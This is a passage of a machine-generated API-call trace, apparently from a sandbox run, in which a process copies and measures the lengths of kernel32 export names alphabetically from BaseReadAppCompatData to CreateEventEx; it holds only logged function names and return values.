lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0133.324] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0133.324] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0133.324] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0133.324] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0133.324] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0133.324] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0133.324] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0133.324] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0133.325] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0133.325] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0133.325] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0133.325] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0133.325] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0133.325] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0133.325] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0133.325] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0133.325] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0133.325] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0133.325] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0133.325] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0133.325] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0133.325] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0133.325] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0133.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0133.326] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0133.326] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0133.326] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0133.326] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0133.326] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0133.326] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0133.326] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0133.326] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0133.326] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0133.326] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0133.326] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0133.326] lstrlenA (lpString="BEEP") returned 4 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0133.326] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0133.326] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0133.326] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0133.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0133.327] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0133.327] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0133.327] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0133.327] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0133.327] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0133.327] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0133.327] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0133.327] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0133.327] lstrlenA (lpString="CANCELIO") returned 8 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0133.327] lstrlenA (lpString="CANCELIOEX") returned 10 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0133.327] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0133.327] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0133.327] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0133.327] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0133.327] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0133.327] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0133.327] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0133.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0133.328] lstrlenA (lpString="CHECKELEVATION") returned 14 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0133.328] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0133.328] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0133.328] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0133.328] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0133.328] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0133.328] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0133.328] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0133.328] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0133.328] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0133.328] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0133.328] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0133.328] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0133.328] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0133.328] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0133.328] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0133.328] lstrlenA (lpString="CLOSESTATE") returned 10 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0133.328] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0133.328] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0133.328] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0133.328] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0133.328] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0133.328] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0133.329] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0133.329] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0133.329] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0133.329] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0133.329] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0133.329] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0133.329] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0133.329] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0133.329] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0133.329] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0133.329] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0133.329] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0133.329] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0133.329] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0133.329] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0133.329] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0133.329] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0133.329] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0133.329] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0133.329] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0133.329] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0133.329] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0133.330] lstrlenA (lpString="COPYCONTEXT") returned 11 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0133.330] lstrlenA (lpString="COPYFILE2") returned 9 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0133.330] lstrlenA (lpString="COPYFILEA") returned 9 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0133.330] lstrlenA (lpString="COPYFILEEXA") returned 11 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0133.330] lstrlenA (lpString="COPYFILEEXW") returned 11 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0133.330] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0133.330] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0133.330] lstrlenA (lpString="COPYFILEW") returned 9 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0133.330] lstrlenA (lpString="COPYLZFILE") returned 10 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0133.330] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0133.330] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0133.330] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0133.330] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0133.330] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0133.330] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0133.330] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0133.330] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0133.330] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0133.330] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0133.330] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0133.330] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0133.330] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0133.331] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0133.331] lstrlenA (lpString="CREATEEVENTA") returned 12 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0133.331] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: 